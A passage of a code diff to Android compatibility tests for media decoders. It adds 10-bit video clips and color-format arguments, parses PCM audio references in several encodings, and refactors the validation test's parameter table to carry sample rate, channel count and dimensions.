+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_520x390_24fps_crf22_hevc_10bit.mkv"
+                            , null, "bbb_340x280_768kbps_30fps_hevc.mp4", -1.0f, 2486118612L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_520x390_24fps_crf22_vp9_10bit.mkv",
+                            null, "bbb_340x280_768kbps_30fps_vp9.webm", -1.0f, 3677982654L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_520x390_24fps_768kbps_av1_10bit.mkv",
+                            null, "bbb_340x280_768kbps_30fps_av1.mp4", -1.0f, 1139081423L,
+                            CODEC_ALL},
+            }));
+        }
         return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, true);
     }
 
     private native boolean nativeTestSimpleDecode(String decoder, Surface surface, String mime,
-            String testFile, String refFile, float rmsError, long checksum);
+            String testFile, String refFile, int colorFormat, float rmsError, long checksum);
 
-    static void verify(OutputManager outBuff, String refFile, float rmsError, long refCRC)
-            throws IOException {
+    static void verify(OutputManager outBuff, String refFile, float rmsError, int audioFormat,
+            long refCRC) throws IOException {
         if (rmsError >= 0) {
-            short[] refData = setUpAudioReference(mInpPrefix + refFile);
-            float currError = outBuff.getRmsError(refData);
+            int bytesPerSample = AudioFormat.getBytesPerSample(audioFormat);
+            ByteBuffer bb = readAudioReferenceFile(mInpPrefix + refFile);
+            bb.position(0);
+            int bufferSize = bb.limit();
+            assertEquals (0, bufferSize % bytesPerSample);
+            Object refObject = null;
+            int refObjectLen = bufferSize / bytesPerSample;
+            switch (audioFormat) {
+                case AudioFormat.ENCODING_PCM_8BIT:
+                    refObject = new byte[refObjectLen];
+                    bb.get((byte[]) refObject);
+                    break;
+                case AudioFormat.ENCODING_PCM_16BIT:
+                    refObject = new short[refObjectLen];
+                    bb.asShortBuffer().get((short[]) refObject);
+                    break;
+                case AudioFormat.ENCODING_PCM_24BIT_PACKED:
+                    refObject = new int[refObjectLen];
+                    int[] refArray = (int[]) refObject;
+                    for (int i = 0, j = 0; i < bufferSize; i += 3, j++) {
+                        int byte1 = (bb.get() & 0xff);
+                        int byte2 = (bb.get() & 0xff);
+                        int byte3 = (bb.get() & 0xff);
+                        refArray[j] =  byte1 | (byte2 << 8) | (byte3 << 16);
+                    }
+                    break;
+                case AudioFormat.ENCODING_PCM_32BIT:
+                    refObject = new int[refObjectLen];
+                    bb.asIntBuffer().get((int[]) refObject);
+                    break;
+                case AudioFormat.ENCODING_PCM_FLOAT:
+                    refObject = new float[refObjectLen];
+                    bb.asFloatBuffer().get((float[]) refObject);
+                    break;
+                default:
+                    fail("unrecognized audio encoding type " + audioFormat);
+            }
+            float currError = outBuff.getRmsError(refObject, audioFormat);
             float errMargin = rmsError * RMS_ERROR_TOLERANCE;
             assertTrue(String.format("%s rms error too high ref/exp/got %f/%f/%f", refFile,
                     rmsError, errMargin, currError), currError <= errMargin);
@@ -196,6 +287,15 @@
         }
     }
 
+    @Before
+    public void setUp() throws IOException {
+        MediaFormat format = setUpSource(mTestFile);
+        mExtractor.release();
+        ArrayList<MediaFormat> formatList = new ArrayList<>();
+        formatList.add(format);
+        checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+    }
+
     /**
      * Tests decoder for combinations:
      * 1. Codec Sync Mode, Signal Eos with Last frame
@@ -256,9 +356,15 @@
                             assertTrue(log + " pts is not strictly increasing",
                                     ref.isPtsStrictlyIncreasing(mPrevOutputPts));
                         } else {
-                            assertTrue(
-                                    log + " input pts list and output pts list are not identical",
-                                    ref.isOutPtsListIdenticalToInpPtsList(false));
+                            // TODO: Timestamps for deinterlaced content are under review.
+                            // (E.g. can decoders produce multiple progressive frames?)
+                            // For now, do not verify timestamps.
+                            if (!mIsInterlaced) {
+                                    assertTrue(
+                                        log +
+                                        " input pts list and output pts list are not identical",
+                                        ref.isOutPtsListIdenticalToInpPtsList(false));
+                            }
                         }
                     }
                     if (validateFormat) {
@@ -274,11 +380,17 @@
                 }
             }
             mCodec.release();
-            if (mSaveToMem) verify(mOutputBuff, mRefFile, mRmsError, mRefCRC);
+            mExtractor.release();
+            int colorFormat = mIsAudio ? 0 : format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
             assertTrue(nativeTestSimpleDecode(mCodecName, null, mMime, mInpPrefix + mTestFile,
-                    mInpPrefix + mRefFile, mRmsError, ref.getCheckSumBuffer()));
+                    mInpPrefix + mRefFile, colorFormat, mRmsError, ref.getCheckSumBuffer()));
+            if (mSaveToMem) {
+                int audioEncoding = mIsAudio ? format.getInteger(MediaFormat.KEY_PCM_ENCODING,
+                        AudioFormat.ENCODING_PCM_16BIT) : AudioFormat.ENCODING_INVALID;
+                Assume.assumeFalse("skip checksum due to tone mapping", mSkipChecksumVerification);
+                verify(mOutputBuff, mRefFile, mRmsError, audioEncoding, mRefCRC);
+            }
         }
-        mExtractor.release();
     }
 
     /**
@@ -309,8 +421,12 @@
                 assertTrue("reference output pts is not strictly increasing",
                         ref.isPtsStrictlyIncreasing(mPrevOutputPts));
             } else {
-                assertTrue("input pts list and output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mOutputBuff = test;
             setUpSource(mTestFile);
@@ -343,8 +459,10 @@
                 mExtractor.seekTo(0, mode);
                 test.reset();
                 doWork(23);
-                assertTrue(log + " pts is not strictly increasing",
-                        test.isPtsStrictlyIncreasing(mPrevOutputPts));
+                if (!mIsInterlaced) {
+                    assertTrue(log + " pts is not strictly increasing",
+                                test.isPtsStrictlyIncreasing(mPrevOutputPts));
+                }
 
                 boolean checkMetrics = (mOutputCount != 0);
 
@@ -395,15 +513,19 @@
     }
 
     private native boolean nativeTestFlush(String decoder, Surface surface, String mime,
-            String testFile);
+            String testFile, int colorFormat);
 
     @Ignore("TODO(b/147576107)")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testFlushNative() {
-        {
-            assertTrue(nativeTestFlush(mCodecName, null, mMime, mInpPrefix + mTestFile));
+    public void testFlushNative() throws IOException {
+        int colorFormat = 0;
+        if (!mIsAudio) {
+            MediaFormat format = setUpSource(mTestFile);
+            mExtractor.release();
+            colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
         }
+        assertTrue(nativeTestFlush(mCodecName, null, mMime, mInpPrefix + mTestFile, colorFormat));
     }
 
     /**
@@ -419,6 +541,9 @@
         mExtractor.release();
         MediaFormat newFormat = setUpSource(mReconfigFile);
         mExtractor.release();
+        ArrayList<MediaFormat> formatList = new ArrayList<>();
+        formatList.add(newFormat);
+        checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
         final long startTs = 0;
         final long seekTs = 500000;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
@@ -435,10 +560,14 @@
                 assertTrue("config reference output pts is not strictly increasing",
                         configRef.isPtsStrictlyIncreasing(mPrevOutputPts));
             } else {
-                assertTrue("input pts list and reference pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
-                assertTrue("input pts list and reconfig ref output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and reference pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                    assertTrue("input pts list and reconfig ref output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mOutputBuff = test;
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -488,7 +617,6 @@
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
-                if (mSaveToMem) verify(mOutputBuff, mRefFile, mRmsError, mRefCRC);
                 /* TODO(b/147348711) */
                 if (false) mCodec.stop();
                 else mCodec.reset();
@@ -514,7 +642,6 @@
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
-                if (mSaveToMem) verify(mOutputBuff, mRefFile, mRmsError, mRefCRC);
                 /* TODO(b/147348711) */
                 if (false) mCodec.stop();
                 else mCodec.reset();
@@ -606,9 +733,14 @@
                         assertTrue(log + " pts is not strictly increasing",
                                 ref.isPtsStrictlyIncreasing(mPrevOutputPts));
                     } else {
-                        assertTrue(
-                                log + " input pts list and output pts list are not identical",
-                                ref.isOutPtsListIdenticalToInpPtsList(false));
+                        // TODO: Timestamps for deinterlaced content are under review.
+                        // (E.g. can decoders produce multiple progressive frames?)
+                        // For now, do not verify timestamps.
+                        if (!mIsInterlaced) {
+                            assertTrue(
+                                    log + " input pts list and output pts list are not identical",
+                                    ref.isOutPtsListIdenticalToInpPtsList(false));
+                        }
                     }
                 }
                 loopCounter++;
@@ -618,14 +750,19 @@
         mExtractor.release();
     }
 
-    private native boolean nativeTestOnlyEos(String decoder, String mime, String testFile);
+    private native boolean nativeTestOnlyEos(String decoder, String mime, String testFile,
+            int colorFormat);
 
     @SmallTest
     @Test
-    public void testOnlyEosNative() {
-        {
-            assertTrue(nativeTestOnlyEos(mCodecName, mMime, mInpPrefix + mTestFile));
+    public void testOnlyEosNative() throws IOException {
+        int colorFormat = 0;
+        if (!mIsAudio) {
+            MediaFormat format = setUpSource(mTestFile);
+            mExtractor.release();
+            colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
         }
+        assertTrue(nativeTestOnlyEos(mCodecName, mMime, mInpPrefix + mTestFile, colorFormat));
     }
 
     /**
@@ -695,9 +832,15 @@
                                 assertTrue(log + " pts is not strictly increasing",
                                         ref.isPtsStrictlyIncreasing(mPrevOutputPts));
                             } else {
-                                assertTrue(
-                                        log + " input pts list and output pts list are not identical",
-                                        ref.isOutPtsListIdenticalToInpPtsList(false));
+                                // TODO: Timestamps for deinterlaced content are under review.
+                                // (E.g. can decoders produce multiple progressive frames?)
+                                // For now, do not verify timestamps.
+                                if (!mIsInterlaced) {
+                                    assertTrue(
+                                           log +
+                                           " input pts list and output pts list are not identical",
+                                           ref.isOutPtsListIdenticalToInpPtsList(false));
+                                }
                             }
                         }
                         if (validateFormat) {
@@ -719,7 +862,7 @@
     }
 
     private native boolean nativeTestSimpleDecodeQueueCSD(String decoder, String mime,
-            String testFile);
+            String testFile, int colorFormat);
 
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
@@ -729,10 +872,10 @@
             mExtractor.release();
             return;
         }
-        {
-            assertTrue(nativeTestSimpleDecodeQueueCSD(mCodecName, mMime, mInpPrefix + mTestFile));
-        }
         mExtractor.release();
+        int colorFormat = mIsAudio ? 0 : format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+        assertTrue(nativeTestSimpleDecodeQueueCSD(mCodecName, mMime, mInpPrefix + mTestFile,
+                colorFormat));
     }
 
     /**
@@ -757,8 +900,12 @@
                 assertTrue("reference output pts is not strictly increasing",
                         ref.isPtsStrictlyIncreasing(mPrevOutputPts));
             } else {
-                assertTrue("input pts list and output pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and output pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mSaveToMem = true;
             mOutputBuff = test;
@@ -788,4 +935,49 @@
         }
         mExtractor.release();
     }
+
+    /**
+     * Test if decoder outputs 8-bit output for 8-bit as well as 10-bit content by default.
+     * The test runs for 1 frame and only in async mode. We remove the key "KEY_COLOR_FORMAT"
+     * from the input format to the decoder and validate that we get the default 8-bit output
+     * color format.
+     */
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testDefaultOutputColorFormat() throws IOException, InterruptedException {
+        Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+        Assume.assumeTrue("Test is applicable for video decoders", mMime.startsWith("video/"));
+
+        MediaFormat format = setUpSource(mTestFile);
+        format.removeKey(MediaFormat.KEY_COLOR_FORMAT);
+
+        mOutputBuff = new OutputManager();
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(1);
+        queueEOS();
+        waitForAllOutputs();
+        MediaFormat outputFormat = mCodec.getOutputFormat();
+        mCodec.stop();
+        mCodec.reset();
+        mCodec.release();
+
+        String log = String.format("decoder: %s, input file: %s, mode:: async", mCodecName,
+                mTestFile);
+        assertFalse(log + " unexpected error", mAsyncHandle.hasSeenError());
+        assertNotEquals(log + "no input sent", 0, mInputCount);
+        assertNotEquals(log + "output received", 0, mOutputCount);
+
+        assertTrue(log + "output format from decoder does not contain KEY_COLOR_FORMAT",
+                outputFormat.containsKey(MediaFormat.KEY_COLOR_FORMAT));
+        // 8-bit color formats
+        int[] defaultOutputColorFormatList =
+                new int[]{COLOR_FormatYUV420Flexible, COLOR_FormatYUV420Planar,
+                        COLOR_FormatYUV420PackedPlanar, COLOR_FormatYUV420SemiPlanar};
+        int outputColorFormat = outputFormat.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+        assertTrue(log + "unexpected output color format: " + outputColorFormat,
+                IntStream.of(defaultOutputColorFormatList).anyMatch(x -> x == outputColorFormat));
+    }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
index 5819bfb..c3c0e75 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderValidationTest.java
@@ -16,11 +16,14 @@
 
 package android.mediav2.cts;
 
+import android.media.AudioFormat;
+import android.media.MediaCodec;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 
 import androidx.test.filters.LargeTest;
 
+import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -31,8 +34,9 @@
 import java.util.Collection;
 import java.util.List;
 
+import static android.mediav2.cts.CodecTestBase.SupportClass.*;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
 /**
  * The following test validates decoder for the given input clip. For audio components, we check
@@ -44,22 +48,44 @@
  */
 @RunWith(Parameterized.class)
 public class CodecDecoderValidationTest extends CodecDecoderTestBase {
-    private static final String LOG_TAG = CodecDecoderValidationTest.class.getSimpleName();
-
+    private static final String MEDIA_TYPE_RAW = MediaFormat.MIMETYPE_AUDIO_RAW;
+    private static final String MEDIA_TYPE_AMRNB = MediaFormat.MIMETYPE_AUDIO_AMR_NB;
+    private static final String MEDIA_TYPE_AMRWB = MediaFormat.MIMETYPE_AUDIO_AMR_WB;
+    private static final String MEDIA_TYPE_MP3 = MediaFormat.MIMETYPE_AUDIO_MPEG;
+    private static final String MEDIA_TYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC;
+    private static final String MEDIA_TYPE_FLAC = MediaFormat.MIMETYPE_AUDIO_FLAC;
+    private static final String MEDIA_TYPE_VORBIS = MediaFormat.MIMETYPE_AUDIO_VORBIS;
+    private static final String MEDIA_TYPE_OPUS = MediaFormat.MIMETYPE_AUDIO_OPUS;
+    private static final String MEDIA_TYPE_MPEG2 = MediaFormat.MIMETYPE_VIDEO_MPEG2;
+    private static final String MEDIA_TYPE_MPEG4 = MediaFormat.MIMETYPE_VIDEO_MPEG4;
+    private static final String MEDIA_TYPE_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final String MEDIA_TYPE_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
+    private static final String MEDIA_TYPE_HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    private static final String MEDIA_TYPE_VP9 = MediaFormat.MIMETYPE_VIDEO_VP9;
+    private static final String MEDIA_TYPE_AV1 = MediaFormat.MIMETYPE_VIDEO_AV1;
     private final String[] mSrcFiles;
     private final String mRefFile;
     private final float mRmsError;
     private final long mRefCRC;
-    private final int mSupport;
+    private final int mSampleRate;
+    private final int mChannelCount;
+    private final int mWidth;
+    private final int mHeight;
+    private final SupportClass mSupportRequirements;
 
     public CodecDecoderValidationTest(String decoder, String mime, String[] srcFiles,
-            String refFile, float rmsError, long refCRC, int support) {
+            String refFile, float rmsError, long refCRC, int sampleRate, int channelCount,
+            int width, int height, SupportClass supportRequirements) {
         super(decoder, mime, null);
         mSrcFiles = srcFiles;
         mRefFile = refFile;
         mRmsError = rmsError;
         mRefCRC = refCRC;
-        mSupport = support;
+        mSampleRate = sampleRate;
+        mChannelCount = channelCount;
+        mWidth = width;
+        mHeight = height;
+        mSupportRequirements = supportRequirements;
     }
 
     @Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -67,395 +93,486 @@
         final boolean isEncoder = false;
         final boolean needAudio = true;
         final boolean needVideo = true;
-        // mime, array list of test files (underlying elementary stream is same, except they
-        // are placed in different containers), ref file, rms error, checksum
+        // mediaType, array list of test files (underlying elementary stream is same, except they
+        // are placed in different containers), ref file, rms error, checksum, sample rate,
+        // channel count, width, height, SupportClass
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // vp9 test vectors with no-show frames signalled in alternate ways
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
-                        "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm",
-                        "bbb_340x280_768kbps_30fps_vp9.webm"}, null, -1.0f, 4122701060L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
-                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm",
-                        "bbb_520x390_1mbps_30fps_vp9.webm"}, null, -1.0f, 1201859039L, CODEC_ALL},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_340x280_768kbps_30fps_vp9.webm",
+                        "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm"},
+                        null, -1.0f, 4122701060L, -1, -1, 340, 280, CODEC_ALL},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_520x390_1mbps_30fps_vp9.webm",
+                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm"},
+                        null, -1.0f, 1201859039L, -1, -1, 520, 390, CODEC_ALL},
 
                 // mpeg2 test vectors with interlaced fields signalled in alternate ways
-                {MediaFormat.MIMETYPE_VIDEO_MPEG2, new String[]{
-                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
-                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4"}, null, -1.0f,
-                        -1L, CODEC_ALL},
-
-                // clips with crop parameters
-//                /* TODO(b/163299340) */
-//                {MediaFormat.MIMETYPE_VIDEO_HEVC, new String[]{"bbb_560x280_1mbps_30fps_hevc.mkv"},
-//                        null, -1.0f, 26298353L, CODEC_ALL},
-//                /* TODO(b/163299340) */
-//                {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{"bbb_504x224_768kbps_30fps_avc.mp4"},
-//                        null, -1.0f, 4060874918L, CODEC_ALL},
+                {MEDIA_TYPE_MPEG2, new String[]{"bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4"},
+                        null, -1.0f, -1L, -1, -1, 512, 288, CODEC_ALL},
 
                 // misc mp3 test vectors
-                {MediaFormat.MIMETYPE_AUDIO_MPEG, new String[]{"bbb_1ch_16kHz_lame_vbr.mp3"},
-                        "bbb_1ch_16kHz_s16le.raw", 119.256f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_MPEG, new String[]{"bbb_2ch_44kHz_lame_vbr.mp3"},
-                        "bbb_2ch_44kHz_s16le.raw", 53.066f, -1L, CODEC_ALL},
+                {MEDIA_TYPE_MP3, new String[]{"bbb_1ch_16kHz_lame_vbr.mp3"},
+                        "bbb_1ch_16kHz_s16le.raw", 119.256073f, -1L, 16000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_MP3, new String[]{"bbb_2ch_44kHz_lame_vbr.mp3"},
+                        "bbb_2ch_44kHz_s16le.raw", 53.069080f, -1L, 44100, 2, -1, -1, CODEC_ALL},
 
                 // mp3 test vectors with CRC
-                {MediaFormat.MIMETYPE_AUDIO_MPEG, new String[]{"bbb_2ch_44kHz_lame_crc.mp3"},
-                        "bbb_2ch_44kHz_s16le.raw", 104.09f, -1L, CODEC_ALL},
+                {MEDIA_TYPE_MP3, new String[]{"bbb_2ch_44kHz_lame_crc.mp3"},
+                        "bbb_2ch_44kHz_s16le.raw", 104.089027f, -1L, 44100, 2, -1, -1, CODEC_ALL},
 
                 // vp9 test vectors with AQ mode enabled
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_800kbps_30fps_vp9" +
-                        ".webm"}, null, -1.0f, 1319105122L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_1200kbps_30fps_vp9" +
-                        ".webm"}, null, -1.0f, 4128150660L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_1600kbps_30fps_vp9" +
-                        ".webm"}, null, -1.0f, 156928091L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{"bbb_1280x720_2000kbps_30fps_vp9" +
-                        ".webm"}, null, -1.0f, 3902485256L, CODEC_ALL},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_1280x720_800kbps_30fps_vp9.webm"},
+                        null, -1.0f, 1319105122L, -1, -1, 1280, 720, CODEC_ALL},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_1280x720_1200kbps_30fps_vp9.webm"},
+                        null, -1.0f, 4128150660L, -1, -1, 1280, 720, CODEC_ALL},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_1280x720_1600kbps_30fps_vp9.webm"},
+                        null, -1.0f, 156928091L, -1, -1, 1280, 720, CODEC_ALL},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_1280x720_2000kbps_30fps_vp9.webm"},
+                        null, -1.0f, 3902485256L, -1, -1, 1280, 720, CODEC_ALL},
 
                 // video test vectors of non standard sizes
-                {MediaFormat.MIMETYPE_VIDEO_MPEG2, new String[]{
-                        "bbb_642x642_2mbps_30fps_mpeg2.mp4"}, null, -1.0f, -1L, CODEC_ANY},
-                {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{
-                        "bbb_642x642_1mbps_30fps_avc.mp4"}, null, -1.0f, 3947092788L, CODEC_ANY},
-                {MediaFormat.MIMETYPE_VIDEO_VP8, new String[]{
-                        "bbb_642x642_1mbps_30fps_vp8.webm"}, null, -1.0f, 516982978L, CODEC_ANY},
-                {MediaFormat.MIMETYPE_VIDEO_HEVC, new String[]{
-                        "bbb_642x642_768kbps_30fps_hevc.mp4"}, null, -1.0f, 3018465268L, CODEC_ANY},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, new String[]{
-                        "bbb_642x642_768kbps_30fps_vp9.webm"}, null, -1.0f, 4032809269L, CODEC_ANY},
-                {MediaFormat.MIMETYPE_VIDEO_AV1, new String[]{
-                        "bbb_642x642_768kbps_30fps_av1.mp4"}, null, -1.0f, 3684481474L, CODEC_ANY},
-                {MediaFormat.MIMETYPE_VIDEO_MPEG4, new String[]{
-                        "bbb_130x130_192kbps_15fps_mpeg4.mp4"}, null, -1.0f, -1L, CODEC_ANY},
+                {MEDIA_TYPE_MPEG2, new String[]{"bbb_642x642_2mbps_30fps_mpeg2.mp4"},
+                        null, -1.0f, -1L, -1, -1, 642, 642, CODEC_ANY},
+                {MEDIA_TYPE_AVC, new String[]{"bbb_642x642_1mbps_30fps_avc.mp4"},
+                        null, -1.0f, 3947092788L, -1, -1, 642, 642, CODEC_ANY},
+                {MEDIA_TYPE_VP8, new String[]{"bbb_642x642_1mbps_30fps_vp8.webm"},
+                        null, -1.0f, 516982978L, -1, -1, 642, 642, CODEC_ANY},
+                {MEDIA_TYPE_HEVC, new String[]{"bbb_642x642_768kbps_30fps_hevc.mp4"},
+                        null, -1.0f, 3018465268L, -1, -1, 642, 642, CODEC_ANY},
+                {MEDIA_TYPE_VP9, new String[]{"bbb_642x642_768kbps_30fps_vp9.webm"},
+                        null, -1.0f, 4032809269L, -1, -1, 642, 642, CODEC_ANY},
+                {MEDIA_TYPE_AV1, new String[]{"bbb_642x642_768kbps_30fps_av1.mp4"},
+                        null, -1.0f, 3684481474L, -1, -1, 642, 642, CODEC_ANY},
+                {MEDIA_TYPE_MPEG4, new String[]{"bbb_130x130_192kbps_15fps_mpeg4.mp4"},
+                        null, -1.0f, -1L, -1, -1, 130, 130, CODEC_ANY},
 
-                //  audio test vectors covering cdd sec 5.1.3
-                // amr nb
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_12.2kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_10.2kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_7.95kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_7.40kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_6.70kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_5.90kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_5.15kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new String[]{
-                        "audio/bbb_mono_8kHz_4.75kbps_amrnb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
+                // audio test vectors covering cdd sec 5.1.3
+                // amrnb
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_12.2kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_10.2kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_7.95kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_7.40kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_6.70kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_5.90kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_5.15kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
+                {MEDIA_TYPE_AMRNB, new String[]{"audio/bbb_mono_8kHz_4.75kbps_amrnb.3gp"},
+                        null, -1.0f, -1L, 8000, 1, -1, -1, CODEC_ALL},
 
-                // amr wb
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_6.6kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_8.85kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_12.65kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_14.25kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_15.85kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
-                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new String[]{
-                        "audio/bbb_mono_16kHz_18.25kbps_amrwb.3gp"}, null, -1.0f, -1L, CODEC_ALL},
